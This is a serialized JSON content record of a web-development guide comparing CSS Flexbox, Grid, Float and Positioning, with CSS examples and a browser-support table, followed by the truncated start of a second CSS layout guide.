examples.",{"immutable":363},{"title":63607,"description":65848},"guides\u002Fcss-grid-tutorial","phZhyT2OXFgVemBPiB5PTMG30BoB9__Qvh2xhQVjeoY",{"id":65854,"title":65855,"body":65856,"date":2070,"description":67094,"extension":361,"meta":67095,"navigation":363,"path":59535,"readingTime":889,"seo":67096,"stem":67097,"__hash__":67098},"guides\u002Fguides\u002Fcss-layout-methods.md","CSS Layout Methods: Flexbox vs Grid vs Traditional",{"type":8,"value":65857,"toc":67075},[65858,65862,65865,65868,65872,65930,65933,65936,65941,65955,66005,66010,66015,66017,66020,66025,66039,66140,66145,66150,66153,66156,66161,66169,66235,66240,66245,66248,66251,66315,66415,66424,66429,66433,66436,66467,66470,66474,66477,66480,66551,66554,66607,66611,66717,66720,66724,66727,66744,66930,66932,66935,67018,67021,67023,67043,67045,67052,67054,67072],[11,65859,65861],{"id":65860},"choosing-the-right-layout-method","Choosing the Right Layout Method",[16,65863,65864],{},"CSS offers four major layout approaches: Flexbox, Grid, Float, and Positioning. Each solves different problems. Picking the wrong one leads to fragile layouts and messy workarounds.",[16,65866,65867],{},"This guide compares all four methods so you can make the right choice quickly.",[11,65869,65871],{"id":65870},"at-a-glance","At a Glance",[193,65873,65874,65885],{},[196,65875,65876],{},[199,65877,65878,65880,65883],{},[202,65879,7441],{},[202,65881,65882],{},"Dimension",[202,65884,489],{},[211,65886,65887,65898,65909,65920],{},[199,65888,65889,65892,65895],{},[216,65890,65891],{},"Flexbox",[216,65893,65894],{},"1D (row or column)",[216,65896,65897],{},"Distributing items along one axis",[199,65899,65900,65903,65906],{},[216,65901,65902],{},"Grid",[216,65904,65905],{},"2D (rows and columns)",[216,65907,65908],{},"Page-level layouts with both axes controlled",[199,65910,65911,65914,65917],{},[216,65912,65913],{},"Float",[216,65915,65916],{},"N\u002FA",[216,65918,65919],{},"Wrapping text around elements",[199,65921,65922,65925,65927],{},[216,65923,65924],{},"Positioning",[216,65926,65916],{},[216,65928,65929],{},"Removing elements from normal flow",[11,65931,65891],{"id":65932},"flexbox",[16,65934,65935],{},"Flexbox arranges items in a single direction — either a row or a column. Items grow, shrink, and align dynamically within that flow.",[16,65937,65938],{},[47,65939,65940],{},"When to use Flexbox:",[41,65942,65943,65946,65949,65952],{},[44,65944,65945],{},"Navigation bars with items spread across a row",[44,65947,65948],{},"Card rows where items share available space",[44,65950,65951],{},"Centering content vertically and horizontally",[44,65953,65954],{},"Any layout where items should distribute along one axis",[135,65956,65958],{"className":1554,"code":65957,"language":1556,"meta":141,"style":141},"\u002F* Simple centered row *\u002F\n.nav {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n}\n",[143,65959,65960,65965,65971,65981,65991,66001],{"__ignoreMap":141},[1560,65961,65962],{"class":1562,"line":1563},[1560,65963,65964],{"class":1649},"\u002F* Simple centered row *\u002F\n",[1560,65966,65967,65969],{"class":1562,"line":337},[1560,65968,64902],{"class":1566},[1560,65970,1571],{"class":1570},[1560,65972,65973,65975,65977,65979],{"class":1562,"line":343},[1560,65974,12504],{"class":1576},[1560,65976,1663],{"class":1570},[1560,65978,32187],{"class":1576},[1560,65980,2228],{"class":1570},[1560,65982,65983,65985,65987,65989],{"class":1562,"line":365},[1560,65984,32316],{"class":1576},[1560,65986,1663],{"class":1570},[1560,65988,41176],{"class":1576},[1560,65990,2228],{"class":1570},[1560,65992,65993,65995,65997,65999],{"class":1562,"line":889},[1560,65994,32194],{"class":1576},[1560,65996,1663],{"class":1570},[1560,65998,32199],{"class":1576},[1560,66000,2228],{"class":1570},[1560,66002,66003],{"class":1562,"line":1710},[1560,66004,1585],{"class":1570},[16,66006,66007,66009],{},[47,66008,30193],{}," Simple one-axis alignment, content-driven sizing, easy reordering.",[16,66011,66012,66014],{},[47,66013,30199],{}," Multi-row layouts require workarounds — Grid handles them natively.",[11,66016,65902],{"id":53158},[16,66018,66019],{},"CSS Grid arranges items in two dimensions simultaneously. You define rows and columns, then place items into specific cells or spanning areas.",[16,66021,66022],{},[47,66023,66024],{},"When to use Grid:",[41,66026,66027,66030,66033,66036],{},[44,66028,66029],{},"Page-level layouts with sidebars and content areas",[44,66031,66032],{},"Dashboards with widgets spanning rows and columns",[44,66034,66035],{},"Magazine-style layouts with items placed at exact coordinates",[44,66037,66038],{},"Any structure where you need to control both axes",[135,66040,66042],{"className":1554,"code":66041,"language":1556,"meta":141,"style":141},"\u002F* Dashboard layout *\u002F\n.dashboard {\n  display: grid;\n  grid-template-columns: 250px 1fr;\n  grid-template-rows: 64px 1fr 48px;\n  grid-template-areas:\n    \"header  header\"\n    \"sidebar content\"\n    \"footer  footer\";\n  height: 100vh;\n}\n",[143,66043,66044,66049,66055,66065,66081,66101,66107,66112,66117,66124,66136],{"__ignoreMap":141},[1560,66045,66046],{"class":1562,"line":1563},[1560,66047,66048],{"class":1649},"\u002F* Dashboard layout *\u002F\n",[1560,66050,66051,66053],{"class":1562,"line":337},[1560,66052,61314],{"class":1566},[1560,66054,1571],{"class":1570},[1560,66056,66057,66059,66061,66063],{"class":1562,"line":343},[1560,66058,12504],{"class":1576},[1560,66060,1663],{"class":1570},[1560,66062,53158],{"class":1576},[1560,66064,2228],{"class":1570},[1560,66066,66067,66069,66071,66073,66075,66077,66079],{"class":1562,"line":365},[1560,66068,61005],{"class":1576},[1560,66070,1663],{"class":1570},[1560,66072,45885],{"class":1576},[1560,66074,1670],{"class":1669},[1560,66076,18868],{"class":1576},[1560,66078,61016],{"class":1669},[1560,66080,2228],{"class":1570},[1560,66082,66083,66085,66087,66089,66091,66093,66095,66097,66099],{"class":1562,"line":889},[1560,66084,61023],{"class":1576},[1560,66086,1663],{"class":1570},[1560,66088,32226],{"class":1576},[1560,66090,1670],{"class":1669},[1560,66092,18868],{"class":1576},[1560,66094,61016],{"class":1669},[1560,66096,48871],{"class":1576},[1560,66098,1670],{"class":1669},[1560,66100,2228],{"class":1570},[1560,66102,66103,66105],{"class":1562,"line":1710},[1560,66104,61040],{"class":1576},[1560,66106,19182],{"class":1570},[1560,66108,66109],{"class":1562,"line":1717},[1560,66110,66111],{"class":5634},"    \"header  header\"\n",[1560,66113,66114],{"class":1562,"line":1747},[1560,66115,66116],{"class":5634},"    \"sidebar content\"\n",[1560,66118,66119,66122],{"class":1562,"line":2507},[1560,66120,66121],{"class":5634},"    \"footer  footer\"",[1560,66123,2228],{"class":1570},[1560,66125,66126,66128,66130,66132,66134],{"class":1562,"line":2524},[1560,66127,12400],{"class":1576},[1560,66129,1663],{"class":1570},[1560,66131,18114],{"class":1576},[1560,66133,32705],{"class":1669},[1560,66135,2228],{"class":1570},[1560,66137,66138],{"class":1562,"line":2529},[1560,66139,1585],{"class":1570},[16,66141,66142,66144],{},[47,66143,30193],{}," Full two-dimensional control, named areas for readability, gap support built-in.",[16,66146,66147,66149],{},[47,66148,30199],{}," Overkill for simple single-axis layouts — Flexbox is more concise there.",[11,66151,65913],{"id":66152},"float",[16,66154,66155],{},"Float pulls an element to one side of its container, letting inline content wrap around it. Originally designed for images in text blocks, it was repurposed for entire page layouts before Flexbox and Grid existed.",[16,66157,66158],{},[47,66159,66160],{},"When to use Float:",[41,66162,66163,66166],{},[44,66164,66165],{},"Wrapping text around an image",[44,66167,66168],{},"Floating a pull-quote or sidebar within an article",[135,66170,66172],{"className":1554,"code":66171,"language":1556,"meta":141,"style":141},"\u002F* Text wrapping around an image *\u002F\n.article-image {\n  float: left;\n  margin: 0 1.5rem 1rem 0;\n  max-width: 50%;\n}\n",[143,66173,66174,66179,66186,66197,66218,66231],{"__ignoreMap":141},[1560,66175,66176],{"class":1562,"line":1563},[1560,66177,66178],{"class":1649},"\u002F* Text wrapping around an image *\u002F\n",[1560,66180,66181,66184],{"class":1562,"line":337},[1560,66182,66183],{"class":1566},".article-image",[1560,66185,1571],{"class":1570},[1560,66187,66188,66191,66193,66195],{"class":1562,"line":343},[1560,66189,66190],{"class":1576},"  float",[1560,66192,1663],{"class":1570},[1560,66194,45290],{"class":1576},[1560,66196,2228],{"class":1570},[1560,66198,66199,66202,66204,66206,66208,66210,66212,66214,66216],{"class":1562,"line":365},[1560,66200,66201],{"class":1576},"  margin",[1560,66203,1663],{"class":1570},[1560,66205,5285],{"class":1576},[1560,66207,32212],{"class":1576},[1560,66209,32215],{"class":1669},[1560,66211,18868],{"class":1576},[1560,66213,32215],{"class":1669},[1560,66215,13541],{"class":1576},[1560,66217,2228],{"class":1570},[1560,66219,66220,66223,66225,66227,66229],{"class":1562,"line":889},[1560,66221,66222],{"class":1576},"  max-width",[1560,66224,1663],{"class":1570},[1560,66226,18059],{"class":1576},[1560,66228,17990],{"class":1669},[1560,66230,2228],{"class":1570},[1560,66232,66233],{"class":1562,"line":1710},[1560,66234,1585],{"class":1570},[16,66236,66237,66239],{},[47,66238,30193],{}," Native text wrapping — the only method that does it.",[16,66241,66242,66244],{},[47,66243,30199],{}," Requires clearfix hacks for containers, no vertical centering, fragile at responsive sizes. Avoid for general layout — use Flexbox or Grid instead.",[11,66246,65924],{"id":66247},"positioning",[16,66249,66250],{},"Positioning removes elements from normal document flow and places them at specific coordinates. Use it for overlays, tooltips, and fixed headers — not for page structure.",[193,66252,66253,66264],{},[196,66254,66255],{},[199,66256,66257,66259,66262],{},[202,66258,1769],{},[202,66260,66261],{},"Relative To",[202,66263,1775],{},[211,66265,66266,66278,66290,66303],{},[199,66267,66268,66272,66275],{},[216,66269,66270],{},[143,66271,19549],{},[216,66273,66274],{},"Element's normal position",[216,66276,66277],{},"Offset without affecting siblings",[199,66279,66280,66284,66287],{},[216,66281,66282],{},[143,66283,5647],{},[216,66285,66286],{},"Nearest positioned ancestor",[216,66288,66289],{},"Tooltips, overlays, badges",[199,66291,66292,66297,66300],{},[216,66293,66294],{},[143,66295,66296],{},"fixed",[216,66298,66299],{},"Viewport",[216,66301,66302],{},"Sticky headers, persistent controls",[199,66304,66305,66309,66312],{},[216,66306,66307],{},[143,66308,53895],{},[216,66310,66311],{},"Scroll container",[216,66313,66314],{},"Section headers that pin on scroll",[135,66316,66318],{"className":1554,"code":66317,"language":1556,"meta":141,"style":141},"\u002F* Tooltip positioning *\u002F\n.tooltip-container {\n  position: relative;\n}\n\n.tooltip {\n  position: absolute;\n  bottom: 100%;\n  left: 50%;\n  transform: translateX(-50%);\n}\n",[143,66319,66320,66325,66332,66342,66346,66350,66357,66367,66380,66393,66411],{"__ignoreMap":141},[1560,66321,66322],{"class":1562,"line":1563},[1560,66323,66324],{"class":1649},"\u002F* Tooltip positioning *\u002F\n",[1560,66326,66327,66330],{"class":1562,"line":337},[1560,66328,66329],{"class":1566},".tooltip-container",[1560,66331,1571],{"class":1570},[1560,66333,66334,66336,66338,66340],{"class":1562,"line":343},[1560,66335,5642],{"class":1576},[1560,66337,1663],{"class":1570},[1560,66339,19549],{"class":1576},[1560,66341,2228],{"class":1570},[1560,66343,66344],{"class":1562,"line":365},[1560,66345,1585],{"class":1570},[1560,66347,66348],{"class":1562,"line":889},[1560,66349,1702],{"emptyLinePlaceholder":363},[1560,66351,66352,66355],{"class":1562,"line":1710},[1560,66353,66354],{"class":1566},".tooltip",[1560,66356,1571],{"class":1570},[1560,66358,66359,66361,66363,66365],{"class":1562,"line":1717},[1560,66360,5642],{"class":1576},[1560,66362,1663],{"class":1570},[1560,66364,5647],{"class":1576},[1560,66366,2228],{"class":1570},[1560,66368,66369,66372,66374,66376,66378],{"class":1562,"line":1747},[1560,66370,66371],{"class":1576},"  bottom",[1560,66373,1663],{"class":1570},[1560,66375,18114],{"class":1576},[1560,66377,17990],{"class":1669},[1560,66379,2228],{"class":1570},[1560,66381,66382,66385,66387,66389,66391],{"class":1562,"line":2507},[1560,66383,66384],{"class":1576},"  left",[1560,66386,1663],{"class":1570},[1560,66388,18059],{"class":1576},[1560,66390,17990],{"class":1669},[1560,66392,2228],{"class":1570},[1560,66394,66395,66397,66399,66402,66404,66407,66409],{"class":1562,"line":2524},[1560,66396,1720],{"class":1576},[1560,66398,1663],{"class":1570},[1560,66400,66401],{"class":1576},"translateX",[1560,66403,1688],{"class":1570},[1560,66405,66406],{"class":1576},"-50",[1560,66408,17990],{"class":1669},[1560,66410,1744],{"class":1570},[1560,66412,66413],{"class":1562,"line":2529},[1560,66414,1585],{"class":1570},[16,66416,66417,66419,66420,1856,66422,468],{},[47,66418,30193],{}," Precise placement, scroll-independent anchoring with ",[143,66421,66296],{},[143,66423,53895],{},[16,66425,66426,66428],{},[47,66427,30199],{}," Removed from flow — elements overlap unless you manage space manually. Not a layout system.",[11,66430,66432],{"id":66431},"decision-flowchart","Decision Flowchart",[16,66434,66435],{},"Follow this sequence to pick the right method:",[77,66437,66438,66446,66453,66460],{},[44,66439,66440,66443,66444],{},[47,66441,66442],{},"Do you need text to wrap around an element?"," → Use ",[47,66445,65913],{},[44,66447,66448,66443,66451],{},[47,66449,66450],{},"Is the element an overlay, tooltip, or pinned header?",[47,66452,65924],{},[44,66454,66455,66443,66458],{},[47,66456,66457],{},"Do you control both rows and columns?",[47,66459,65902],{},[44,66461,66462,66443,66465],{},[47,66463,66464],{},"Do items flow in one direction?",[47,66466,65891],{},[16,66468,66469],{},"Most layouts fall into steps 3 or 4. Grid handles page shells and dashboards. Flexbox handles components — navbars, card lists, toolbars, and centered containers.",[11,66471,66473],{"id":66472},"same-layout-different-methods","Same Layout, Different Methods",[16,66475,66476],{},"A simple two-column sidebar layout built three ways:",[33,66478,65891],{"id":66479},"flexbox-1",[135,66481,66483],{"className":1554,"code":66482,"language":1556,"meta":141,"style":141},".layout {\n  display: flex;\n  gap: 1rem;\n}\n.sidebar { flex: 0 0 250px; }\n.content { flex: 1; }\n",[143,66484,66485,66491,66501,66513,66517,66537],{"__ignoreMap":141},[1560,66486,66487,66489],{"class":1562,"line":1563},[1560,66488,33471],{"class":1566},[1560,66490,1571],{"class":1570},[1560,66492,66493,66495,66497,66499],{"class":1562,"line":337},[1560,66494,12504],{"class":1576},[1560,66496,1663],{"class":1570},[1560,66498,32187],{"class":1576},[1560,66500,2228],{"class":1570},[1560,66502,66503,66505,66507,66509,66511],{"class":1562,"line":343},[1560,66504,32235],{"class":1576},[1560,66506,1663],{"class":1570},[1560,66508,3585],{"class":1576},[1560,66510,32215],{"class":1669},[1560,66512,2228],{"class":1570},[1560,66514,66515],{"class":1562,"line":365},[1560,66516,1585],{"class":1570},[1560,66518,66519,66521,66523,66525,66527,66529,66531,66533,66535],{"class":1562,"line":889},[1560,66520,33518],{"class":1566},[1560,66522,1658],{"class":1570},[1560,66524,32187],{"class":1576},[1560,66526,1663],{"class":1570},[1560,66528,5285],{"class":1576},[1560,66530,13541],{"class":1576},[1560,66532,33533],{"class":1576},[1560,66534,1670],{"class":1669},[1560,66536,1673],{"class":1570},[1560,66538,66539,66541,66543,66545,66547,66549],{"class":1562,"line":1710},[1560,66540,59340],{"class":1566},[1560,66542,1658],{"class":1570},[1560,66544,32187],{"class":1576},[1560,66546,1663],{"class":1570},[1560,66548,3585],{"class":1576},[1560,66550,1673],{"class":1570},[33,66552,65902],{"id":66553},"grid-1",[135,66555,66557],{"className":1554,"code":66556,"language":1556,"meta":141,"style":141},".layout {\n  display: grid;\n  grid-template-columns: 250px 1fr;\n  gap: 1rem;\n}\n",[143,66558,66559,66565,66575,66591,66603],{"__ignoreMap":141},[1560,66560,66561,66563],{"class":1562,"line":1563},[1560,66562,33471],{"class":1566},[1560,66564,1571],{"class":1570},[1560,66566,66567,66569,66571,66573],{"class":1562,"line":337},[1560,66568,12504],{"class":1576},[1560,66570,1663],{"class":1570},[1560,66572,53158],{"class":1576},[1560,66574,2228],{"class":1570},[1560,66576,66577,66579,66581,66583,66585,66587,66589],{"class":1562,"line":343},[1560,66578,61005],{"class":1576},[1560,66580,1663],{"class":1570},[1560,66582,45885],{"class":1576},[1560,66584,1670],{"class":1669},[1560,66586,18868],{"class":1576},[1560,66588,61016],{"class":1669},[1560,66590,2228],{"class":1570},[1560,66592,66593,66595,66597,66599,66601],{"class":1562,"line":365},[1560,66594,32235],{"class":1576},[1560,66596,1663],{"class":1570},[1560,66598,3585],{"class":1576},[1560,66600,32215],{"class":1669},[1560,66602,2228],{"class":1570},[1560,66604,66605],{"class":1562,"line":889},[1560,66606,1585],{"class":1570},[33,66608,66610],{"id":66609},"float-legacy","Float (legacy)",[135,66612,66614],{"className":1554,"code":66613,"language":1556,"meta":141,"style":141},".sidebar {\n  float: left;\n  width: 250px;\n}\n.content {\n  margin-left: 270px; \u002F* sidebar width + gap *\u002F\n}\n.layout::after {\n  content: '';\n  display: table;\n  clear: both;\n}\n",[143,66615,66616,66622,66632,66644,66648,66654,66670,66674,66681,66691,66701,66713],{"__ignoreMap":141},[1560,66617,66618,66620],{"class":1562,"line":1563},[1560,66619,33518],{"class":1566},[1560,66621,1571],{"class":1570},[1560,66623,66624,66626,66628,66630],{"class":1562,"line":337},[1560,66625,66190],{"class":1576},[1560,66627,1663],{"class":1570},[1560,66629,45290],{"class":1576},[1560,66631,2228],{"class":1570},[1560,66633,66634,66636,66638,66640,66642],{"class":1562,"line":343},[1560,66635,12386],{"class":1576},[1560,66637,1663],{"class":1570},[1560,66639,45885],{"class":1576},[1560,66641,1670],{"class":1669},[1560,66643,2228],{"class":1570},[1560,66645,66646],{"class":1562,"line":365},[1560,66647,1585],{"class":1570},[1560,66649,66650,66652],{"class":1562,"line":889},[1560,66651,59340],{"class":1566},[1560,66653,1571],{"class":1570},[1560,66655,66656,66658,66660,66663,66665,66667],{"class":1562,"line":1710},[1560,66657,12541],{"class":1576},[1560,66659,1663],{"class":1570},[1560,66661,66662],{"class":1576},"270",[1560,66664,1670],{"class":1669},[1560,66666,3664],{"class":1570},[1560,66668,66669],{"class":1649},"\u002F* sidebar width + gap *\u002F\n",[1560,66671,66672],{"class":1562,"line":1717},[1560,66673,1585],{"class":1570},[1560,66675,66676,66679],{"class":1562,"line":1747},[1560,66677,66678],{"class":1566},".layout::after",[1560,66680,1571],{"class":1570},[1560,66682,66683,66685,66687,66689],{"class":1562,"line":2507},[1560,66684,5629],{"class":1576},[1560,66686,1663],{"class":1570},[1560,66688,5635],{"class":5634},[1560,66690,2228],{"class":1570},[1560,66692,66693,66695,66697,66699],{"class":1562,"line":2524},[1560,66694,12504],{"class":1576},[1560,66696,1663],{"class":1570},[1560,66698,193],{"class":1576},[1560,66700,2228],{"class":1570},[1560,66702,66703,66706,66708,66711],{"class":1562,"line":2529},[1560,66704,66705],{"class":1576},"  clear",[1560,66707,1663],{"class":1570},[1560,66709,66710],{"class":1576},"both",[1560,66712,2228],{"class":1570},[1560,66714,66715],{"class":1562,"line":2534},[1560,66716,1585],{"class":1570},[16,66718,66719],{},"Grid is the cleanest for this pattern — fewer declarations, no calc workarounds. Flexbox is nearly as concise. Float requires a clearfix and manual margin math.",[11,66721,66723],{"id":66722},"combining-methods","Combining Methods",[16,66725,66726],{},"Real projects use multiple methods together. A common pattern:",[41,66728,66729,66734,66739],{},[44,66730,66731,66733],{},[47,66732,65902],{}," for the page shell (header, sidebar, content, footer)",[44,66735,66736,66738],{},[47,66737,65891],{}," for components inside each grid area (nav links, card rows, form layouts)",[44,66740,66741,66743],{},[47,66742,65924],{}," for overlays, modals, and sticky elements",[135,66745,66747],{"className":1554,"code":66746,"language":1556,"meta":141,"style":141},".page {\n  display: grid;\n  grid-template-columns: 250px 1fr;\n  grid-template-rows: 64px 1fr;\n}\n\n.header {\n  grid-column: 1 \u002F -1;\n  display: flex;          \u002F* Flexbox inside a Grid area *\u002F\n  justify-content: space-between;\n  align-items: center;\n}\n\n.modal-backdrop {\n  position: fixed;        \u002F* Positioning for overlays *\u002F\n  inset: 0;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n",[143,66748,66749,66755,66765,66781,66797,66801,66805,66811,66825,66838,66848,66858,66862,66866,66873,66886,66896,66906,66916,66926],{"__ignoreMap":141},[1560,66750,66751,66753],{"class":1562,"line":1563},[1560,66752,32669],{"class":1566},[1560,66754,1571],{"class":1570},[1560,66756,66757,66759,66761,66763],{"class":1562,"line":337},[1560,66758,12504],{"class":1576},[1560,66760,1663],{"class":1570},[1560,66762,53158],{"class":1576},[1560,66764,2228],{"class":1570},[1560,66766,66767,66769,66771,66773,66775,66777,66779],{"class":1562,"line":343},[1560,66768,61005],{"class":1576},[1560,66770,1663],{"class":1570},[1560,66772,45885],{"class":1576},[1560,66774,1670],{"class":1669},[1560,66776,18868],{"class":1576},[1560,66778,61016],{"class":1669},[1560,66780,2228],{"class":1570},[1560,66782,66783,66785,66787,66789,66791,66793,66795],{"class":1562,"line":365},[1560,66784,61023],{"class":1576},[1560,66786,1663],{"class":1570},[1560,66788,32226],{"class":1576},[1560,66790,1670],{"class":1669},[1560,66792,18868],{"class":1576},[1560,66794,61016],{"class":1669},[1560,66796,2228],{"class":1570},[1560,66798,66799],{"class":1562,"line":889},[1560,66800,1585],{"class":1570},[1560,66802,66803],{"class":1562,"line":1710},[1560,66804,1702],{"emptyLinePlaceholder":363},[1560,66806,66807,66809],{"class":1562,"line":1717},[1560,66808,61072],{"class":1566},[1560,66810,1571],{"class":1570},[1560,66812,66813,66815,66817,66819,66821,66823],{"class":1562,"line":1747},[1560,66814,61956],{"class":1576},[1560,66816,1663],{"class":1570},[1560,66818,3585],{"class":1576},[1560,66820,14237],{"class":1570},[1560,66822,19059],{"class":1576},[1560,66824,2228],{"class":1570},[1560,66826,66827,66829,66831,66833,66835],{"class":1562,"line":2507},[1560,66828,12504],{"class":1576},[1560,66830,1663],{"class":1570},[1560,66832,32187],{"class":1576},[1560,66834,58865],{"class":1570},[1560,66836,66837],{"class":1649},"\u002F* Flexbox inside a Grid area *\u002F\n",[1560,66839,66840,66842,66844,66846],{"class":1562,"line":2524},[1560,66841,32316],{"class":1576},[1560,66843,1663],{"class":1570},[1560,66845,41176],{"class":1576},[1560,66847,2228],{"class":1570},[1560,66849,66850,66852,66854,66856],{"class":1562,"line":2529},[1560,66851,32194],{"class":1576},[1560,66853,1663],{"class":1570},[1560,66855,32199],{"class":1576},[1560,66857,2228],{"class":1570},[1560,66859,66860],{"class":1562,"line":2534},[1560,66861,1585],{"class":1570},[1560,66863,66864],{"class":1562,"line":2542},[1560,66865,1702],{"emptyLinePlaceholder":363},[1560,66867,66868,66871],{"class":1562,"line":2558},[1560,66869,66870],{"class":1566},".modal-backdrop",[1560,66872,1571],{"class":1570},[1560,66874,66875,66877,66879,66881,66883],{"class":1562,"line":2570},[1560,66876,5642],{"class":1576},[1560,66878,1663],{"class":1570},[1560,66880,66296],{"class":1576},[1560,66882,50692],{"class":1570},[1560,66884,66885],{"class":1649},"\u002F* Positioning for overlays *\u002F\n",[1560,66887,66888,66890,66892,66894],{"class":1562,"line":6638},[1560,66889,5654],{"class":1576},[1560,66891,1663],{"class":1570},[1560,66893,5285],{"class":1576},[1560,66895,2228],{"class":1570},[1560,66897,66898,66900,66902,66904],{"class":1562,"line":11615},[1560,66899,12504],{"class":1576},[1560,66901,1663],{"class":1570},[1560,66903,32187],{"class":1576},[1560,66905,2228],{"class":1570},[1560,66907,66908,66910,66912,66914],{"class":1562,"line":11621},[1560,66909,32316],{"class":1576},[1560,66911,1663],{"class":1570},[1560,66913,32199],{"class":1576},[1560,66915,2228],{"class":1570},[1560,66917,66918,66920,66922,66924],{"class":1562,"line":11633},[1560,66919,32194],{"class":1576},[1560,66921,1663],{"class":1570},[1560,66923,32199],{"class":1576},[1560,66925,2228],{"class":1570},[1560,66927,66928],{"class":1562,"line":11638},[1560,66929,1585],{"class":1570},[11,66931,5512],{"id":5511},[16,66933,66934],{},"All modern browsers fully support Flexbox, Grid, Gap, and Sticky positioning. The only concern is legacy IE11 — which no longer receives security updates and has negligible market share.",[193,66936,66937,66951],{},[196,66938,66939],{},[199,66940,66941,66943,66945,66947,66949],{},[202,66942,5867],{},[202,66944,5534],{},[202,66946,5542],{},[202,66948,5550],{},[202,66950,5558],{},[211,66952,66953,66967,66982,67000],{},[199,66954,66955,66957,66960,66963,66965],{},[216,66956,65891],{},[216,66958,66959],{},"29+",[216,66961,66962],{},"28+",[216,66964,57975],{},[216,66966,57942],{},[199,66968,66969,66971,66974,66976,66979],{},[216,66970,65902],{},[216,66972,66973],{},"57+",[216,66975,51340],{},[216,66977,66978],{},"10.1+",[216,66980,66981],{},"16+",[199,66983,66984,66989,66992,66995,66998],{},[216,66985,66986,66988],{},[143,66987,58563],{}," in flex",[216,66990,66991],{},"84+",[216,66993,66994],{},"63+",[216,66996,66997],{},"14.1+",[216,66999,66991],{},[199,67001,67002,67007,67010,67013,67016],{},[216,67003,67004],{},[143,67005,67006],{},"position: sticky",[216,67008,67009],{},"56+",[216,67011,67012],{},"59+",[216,67014,67015],{},"13+",[216,67017,66981],{},[16,67019,67020],{},"If you need to support older browsers, use Flexbox over Grid where possible — its support predates Grid by several years.",[11,67022,1355],{"id":1354},[41,67024,67025,67028,67031,67034,67037,67040],{},[44,67026,67027],{},"Flexbox for one-axis layouts, Grid for two-axis layouts",[44,67029,67030],{},"Float only for text wrapping, Positioning only for overlays and pinned elements",[44,67032,67033],{},"Grid is the cleanest choice for page-level structure",[44,67035,67036],{},"Flexbox excels at component-level alignment inside grid areas",[44,67038,67039],{},"Combine methods — each solves a different piece of the layout puzzle",[44,67041,67042],{},"Browser support is no longer a concern for modern projects",[11,67044,286],{"id":285},[16,67046,67047,67048,67051],{},"Build and preview flex layouts interactively with our ",[98,67049,33649],{"href":59517,"rel":67050},[14956],". Adjust properties visually and copy the CSS into your project.",[11,67053,321],{"id":320},[41,67055,67056,67062,67067],{},[44,67057,67058,67061],{},[98,67059,67060],{"href":59577},"CSS Flexbox Tutorial"," — Deep dive into every flex container and item property",[44,67063,67064,67066],{},[98,67065,59529],{"href":59528}," — Visual walkthrough of building layouts with a generator",[44,67068,67069,67071],{},[98,67070,56827],{"href":56826}," — Add visual depth to your layout backgrounds with gradients",[2043,67073,67074],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":67076},[67077,67078,67079,67080,67081,67082,67083,67084,67089,67090,67091,67092,67093],{"id":65860,"depth":337,"text":65861},{"id":65870,"depth":337,"text":65871},{"id":65932,"depth":337,"text":65891},{"id":53158,"depth":337,"text":65902},{"id":66152,"depth":337,"text":65913},{"id":66247,"depth":337,"text":65924},{"id":66431,"depth":337,"text":66432},{"id":66472,"depth":337,"text":66473,"children":67085},[67086,67087,67088],{"id":66479,"depth":343,"text":65891},{"id":66553,"depth":343,"text":65902},{"id":66609,"depth":343,"text":66610},{"id":66722,"depth":337,"text":66723},{"id":5511,"depth":337,"text":5512},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare CSS layout methods: Flexbox vs Grid vs Float vs Positioning. Learn when to use each layout approach for your web projects.",{"immutable":363},{"title":65855,"description":67094},"guides\u002Fcss-layout-methods","te9XRQaLMay8jzssjCim8JXiU7_Gnl1u3ekOBXpHJT0",{"id":67100,"title":67101,"body":67102,"date":2070,"description":68370,"extension":361,"meta":68371,"navigation":363,"path":63613,"readingTime":889,"seo":68372,"stem":68373,"__hash__":68374},"guides\u002Fguides\u002Fcss-layout-systems.md","CSS Layout Systems Compared",{"type":8,"value":67103,"toc":68348},[67104,67108,67111,67166,67169,67173,67176,67180,67187,67207,67289,67296,67300,67307,67324,67400,67406,67410,67500,67504,67507,67511,67515,67518,67567,67570,67574,67582,67719,67722,67726,67736,67740,67743,67778,67781,67785,67792,67796,67799,68031,68035,68038,68179,68185,68189,68195,68305,68308,68310,68313,68327,68329,68345],[11,67105,67107],{"id":67106},"css-layout-systems-at-a-glance","CSS Layout Systems at a Glance",[16,67109,67110],{},"CSS gives you multiple layout systems, each built to solve a different problem. Picking the right one keeps your code clean and prevents fights with the browser.",[193,67112,67113,67124],{},[196,67114,67115],{},[199,67116,67117,67120,67122],{},[202,67118,67119],{},"System",[202,67121,65882],{},[202,67123,489],{},[211,67125,67126,67137,67147,67156],{},[199,67127,67128,67131,67134],{},[216,67129,67130],{},"CSS Grid",[216,67132,67133],{},"2D (rows + columns)",[216,67135,67136],{},"Page structure, dashboards, galleries",[199,67138,67139,67141,67144],{},[216,67140,65891],{},[216,67142,67143],{},"1D (row OR column)",[216,67145,67146],{},"Navigation, toolbars, card 